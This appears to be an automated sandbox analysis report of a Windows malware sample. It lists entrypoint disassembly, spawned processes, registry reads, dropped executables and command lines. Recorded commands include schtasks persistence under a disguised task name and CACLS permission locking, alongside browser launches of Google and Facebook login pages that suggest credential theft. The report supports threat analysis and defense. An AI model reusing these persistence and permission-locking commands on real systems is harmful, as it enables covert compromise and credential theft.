- 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x40cd6e,test byte ptr [eax], 8,je 0x40cd6e,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c],push dword ptr [ebp - 0x20],call dword ptr [0x41b000],leave ,ret 8,ret ,mov eax, 0x413563,mov dword ptr [0x4228e4], eax," "WREQ0KOSK9O5sPY.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "5tg3FW0.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418010,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x418014], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418010], eax,call 0x405000,mov eax, 0x417088,mov dword ptr [0x418034], eax,call 0x40de30,call 0x40dba1,call 0x40aaa0,call 0x40a329," "clip64_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003e0e,call 0x100041f9,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10003ccf,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10006e36,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x100035f8,push 0x10014590,lea eax, [ebp - 0xc],push eax,call 0x10004497,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10016a48], 0,sub esp, 0x24,or dword ptr [0x10016004], 1,push 0xa,call 0x1000e0c7,test eax, eax,"50:T178b,Process "go3wz13.exe" (UID: 00000000-00007876) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "go3wz13.exe" (UID: 00000000-00007876) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "cmd.exe" (UID: 00000000-00000700) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "msedge.exe" (UID: 00000000-00003748) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", PROMPT="$P$G", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "msedge.exe" (UID: 00000000-00003748) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00003748) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00007228) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_3748_YRVACNDWGRNFLGFK", EDGE_BROWSER_PID="3748"" Process "msedge.exe" (UID: 00000000-00004620) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00004880) was launched with missing environment variables: "EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00004992) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_3748_YRVACNDWGRNFLGFK", EDGE_BROWSER_PID="3748", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00004164) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00004164) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00007616) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00007616) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "91NL8LQzC2Bqri4.exe" (UID: 00000000-00001168) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "91NL8LQzC2Bqri4.exe" (UID: 00000000-00001168) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, Path" Process "91NL8LQzC2Bqri4.exe" (UID: 00000000-00001168) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, b2eincfilepath, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID, PROMPT, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "schtasks.exe" (UID: 00000000-00001160) was launched with new environment variables: "PROMPT="$P$G"" Process "schtasks.exe" (UID: 00000000-00001388) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "schtasks.exe" (UID: 00000000-00001388) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, Path" Process "schtasks.exe" (UID: 00000000-00001388) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, b2eincfilepath, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00007656) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="21", b2eincfilepath="%TEMP%\IXP000.TMP", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_3748_YRVACNDWGRNFLGFK", EDGE_BROWSER_PID="3748", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00007656) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, Path" Process "msedge.exe" (UID: 00000000-00007656) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "91NL8LQzC2Bqri4.exe" (UID: 00000000-00005660) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "91NL8LQzC2Bqri4.exe" (UID: 00000000-00005660) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, __COMPAT_LAYER, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432" Process "cmd.exe" (UID: 00000000-00007668) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigation", FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00007668) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles"51:T738,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "go3wz13.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "go3wz13.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "go3wz13.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "KN5EZ95.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "KN5EZ95.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "KN5EZ95.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ny1qE70.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "ny1qE70.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ny1qE70.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1eP24vr0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")52:Ta69,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",12,"Microsoft.PowerShell.ConsoleHost Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",02,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",03,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",12,"System.Windows.Forms Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089",03,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: cDLTjqPjMRTDiE7.exe.log] Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00005808-00000BC1-58758064] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00007876-00000BC1-59395992] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00007608-00000BC1-60024526] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00001584-00000BC1-60715456] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00001984-00000C28-939580630] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: powershell.exe.log]53:T4ef,"/c "%TEMP%\\F128.tmp\\F129.tmp\\F12A.bat %TEMP%\\IXP000.TMP\\5tg3FW0.exe"" on 2023-10-13.10:19:41.670 "/c schtasks /create /F /sc minute /mo 15 /tr "%TEMP%\\91NL8LQzC2Bqri4.exe" /tn "\\WindowsAppPool\\91NL8LQzC2Bqri4"" on 2023-10-13.10:30:26.443 "/c schtasks /create /F /sc minute /mo 15 /tr "%TEMP%\\pNUNUVkvaKFYhDc.exe" /tn "\\WindowsAppPool\\pNUNUVkvaKFYhDc"" on 2023-10-13.10:30:36.304 "/c schtasks /create /F /sc minute /mo 15 /tr "%TEMP%\\WREQ0KOSK9O5sPY.exe" /tn "\\WindowsAppPool\\WREQ0KOSK9O5sPY"" on 2023-10-13.10:30:36.378 "/c schtasks /create /F /sc minute /mo 15 /tr "%TEMP%\\cDLTjqPjMRTDiE7.exe" /tn "\\WindowsAppPool\\cDLTjqPjMRTDiE7"" on 2023-10-13.10:30:41.434 "/c schtasks /create /F /sc minute /mo 15 /tr "%TEMP%\\spSq6zjfkzXbD0K.exe" /tn "\\WindowsAppPool\\spSq6zjfkzXbD0K"" on 2023-10-13.10:30:51.372 "/c schtasks /create /F /sc minute /mo 15 /tr "%TEMP%\\ZtBZcoNCoY6ikF1.exe" /tn "\\WindowsAppPool\\ZtBZcoNCoY6ikF1"" on 2023-10-13.10:30:56.482 "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe.exe" /P "%OSUSER%:R" /E&&echo Y|CACLS "..\\fefffe8cea" /P "%OSUSER%:N"&&CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E&&Exit" on 2023-10-13.10:38:20.715 "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" on 2023-10-13.10:21:47.07054:T862,Spawned process "go3wz13.exe" (UID: 00000000-00007876) Spawned process "KN5EZ95.exe" (UID: 00000000-00007608) Spawned process "ny1qE70.exe" (UID: 00000000-00001584) Spawned process "1eP24vr0.exe" (UID: 00000000-00001700) Spawned process "AppLaunch.exe" (UID: 00000000-00001984) Spawned process "WerFault.exe" with commandline "-pss -s 476 -p 1700 -ip 1700" (UID: 00000000-00006444) Spawned process "WerFault.exe" with commandline "-u -p 1700 -s 644" (UID: 00000000-00004180) Spawned process "2Oo2948.exe" (UID: 00000000-00006044) Spawned process "AppLaunch.exe" (UID: 00000000-00007348) Spawned process "WerFault.exe" with commandline "-pss -s 476 -p 6044 -ip 6044" (UID: 00000000-00002440) Spawned process "WerFault.exe" with commandline "-u -p 6044 -s 140" (UID: 00000000-00006420) Spawned process "3CC98ik.exe" (UID: 00000000-00002544) Spawned process "AppLaunch.exe" (UID: 00000000-00007940) Spawned process "WerFault.exe" with commandline "-pss -s 468 -p 2544 -ip 2544" (UID: 00000000-00002748) Spawned process "WerFault.exe" with commandline "-u -p 2544 -s 140" (UID: 00000000-00006880) Spawned process "4iO097Yk.exe" (UID: 00000000-00004404) Spawned process "AppLaunch.exe" (UID: 00000000-00002184) Spawned process "WerFault.exe" with commandline "-pss -s 468 -p 4404 -ip 4404" (UID: 00000000-00004580) Spawned process "WerFault.exe" with commandline "-u -p 4404 -s 140" (UID: 00000000-00005144) Spawned process "5tg3FW0.exe" (UID: 00000000-00002960) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\F128.tmp\\F129.tmp\\F12A.bat %TEMP%\\IXP000.TMP\\5tg ..." (UID: 00000000-00000700), Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00003748), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00007228) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00004620) Spawned process "msedge.exe" with commandline "--single-argument https://www.facebook.com/login" (UID: 00000000-00004880)55:T862,Spawned process "go3wz13.exe" (UID: 00000000-00007876) Spawned process "KN5EZ95.exe" (UID: 00000000-00007608) Spawned process "ny1qE70.exe" (UID: 00000000-00001584) Spawned process "1eP24vr0.exe" (UID: 00000000-00001700) Spawned process "AppLaunch.exe" (UID: 00000000-00001984) Spawned process "WerFault.exe" with commandline "-pss -s 476 -p 1700 -ip 1700" (UID: 00000000-00006444) Spawned process "WerFault.exe" with commandline "-u -p 1700 -s 644" (UID: 00000000-00004180) Spawned process "2Oo2948.exe" (UID: 00000000-00006044) Spawned process "AppLaunch.exe" (UID: 00000000-00007348) Spawned process "WerFault.exe" with commandline "-pss -s 476 -p 6044 -ip 6044" (UID: 00000000-00002440) Spawned process "WerFault.exe" with commandline "-u -p 6044 -s 140" (UID: 00000000-00006420) Spawned process "3CC98ik.exe" (UID: 00000000-00002544) Spawned process "AppLaunch.exe" (UID: 00000000-00007940) Spawned process "WerFault.exe" with commandline "-pss -s 468 -p 2544 -ip 2544" (UID: 00000000-00002748) Spawned process "WerFault.exe" with commandline "-u -p 2544 -s 140" (UID: 00000000-00006880) Spawned process "4iO097Yk.exe" (UID: 00000000-00004404) Spawned process "AppLaunch.exe" (UID: 00000000-00002184) Spawned process "WerFault.exe" with commandline "-pss -s 468 -p 4404 -ip 4404" (UID: 00000000-00004580) Spawned process "WerFault.exe" with commandline "-u -p 4404 -s 140" (UID: 00000000-00005144) Spawned process "5tg3FW0.exe" (UID: 00000000-00002960) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\F128.tmp\\F129.tmp\\F12A.bat %TEMP%\\IXP000.TMP\\5tg ..." (UID: 00000000-00000700), Spawned process "msedge.exe" with commandline "--single-argument https://accounts.google.com/" (UID: 00000000-00003748), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00007228) Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAA ..." (UID: 00000000-00004620) Spawned process "msedge.exe" with commandline "--single-argument https://www.facebook.com/login" (UID: 00000000-00004880)56:T60d,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "go3wz13.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "foto3553.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "pNUNUVkvaKFYhDc.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "4iO097Yk.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "2Oo2948.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "sus.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "3CC98ik.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "KN5EZ95.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "aPXj3QNJzkKIKoxT.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "ny1qE70.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "1eP24vr0.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "91NL8LQzC2Bqri4.exe.bin" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "ZtBZcoNCoY6ikF1.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "cDLTjqPjMRTDiE7.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "WREQ0KOSK9O5sPY.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5tg3FW0.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "clip64_1_.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE57:T569,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")58:T55cb,"go3wz13.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\go3wz13.exe]- [targetUID: 00000000-00007876] "foto3553.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "pNUNUVkvaKFYhDc.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\pNUNUVkvaKFYhDc.exe]- [targetUID: 00000000-00007348] "4iO097Yk.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\4iO097Yk.exe]- [targetUID: 00000000-00004404] "2Oo2948.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\2Oo2948.exe]- [targetUID: 00000000-00006044] "sus.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\1000023051\sus.exe]- [targetUID: 00000000-00002144] "3CC98ik.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\3CC98ik.exe]- [targetUID: 00000000-00007608] "KN5EZ95.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\KN5EZ95.exe]- [targetUID: 00000000-00007608] "aPXj3QNJzkKIKoxT.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\aPXj3QNJzkKIKoxT.dll]- [targetUID: 00000000-00007348] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "ny1qE70.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\ny1qE70.exe]- [targetUID: 00000000-00007608] "1eP24vr0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\1eP24vr0.exe]- [targetUID: 00000000-00001700] "91NL8LQzC2Bqri4.exe.bin" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "ZtBZcoNCoY6ikF1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\ZtBZcoNCoY6ikF1.exe]- [targetUID: 00000000-00004736] "cDLTjqPjMRTDiE7.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\cDLTjqPjMRTDiE7.exe]- [targetUID: 00000000-00000236] "WREQ0KOSK9O5sPY.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\WREQ0KOSK9O5sPY.exe]- [targetUID: 00000000-00007348] "5tg3FW0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\5tg3FW0.exe]- [targetUID: 00000000-00005808] "clip64_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00001948] "cDLTjqPjMRTDiE7.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "cred64.dll" has type "HTML document ASCII text"- Location: [%APPDATA%\006700e5a2ab05\cred64.dll]- [targetUID: 00000000-00002144] "AppLaunch.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00001984] "2.ps1" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\1000022041\2.ps1]- [targetUID: 00000000-00002144] "F12A.bat" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\F128.tmp\F129.tmp\F12A.bat]- [targetUID: 00000000-00000700] "data_3" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3]- [targetUID: 00000000-00003748] "data_2" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2]- [targetUID: 00000000-00003748] "load_statistics.db-wal" has type "SQLite Write-Ahead Log version 3007000"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\load_statistics.db-wal]- [targetUID: 00000000-00003748] "data_1" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1]- [targetUID: 00000000-00003748] "000009.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000009.log]- [targetUID: 00000000-00003748] "000013.ldb" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000013.ldb]- [targetUID: 00000000-00003748] "BgYgRp6iDoeo1hFe" has type "SQLite 3.x database user version 9 last written using SQLite version 3020001"- Location: [%TEMP%\BgYgRp6iDoeo1hFe]- [targetUID: 00000000-00007348] "000014.ldb" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000014.ldb]- [targetUID: 00000000-00003748] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log]- [targetUID: 00000000-00003748] "data_1" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\DawnCache\data_1]- [targetUID: 00000000-00003748] 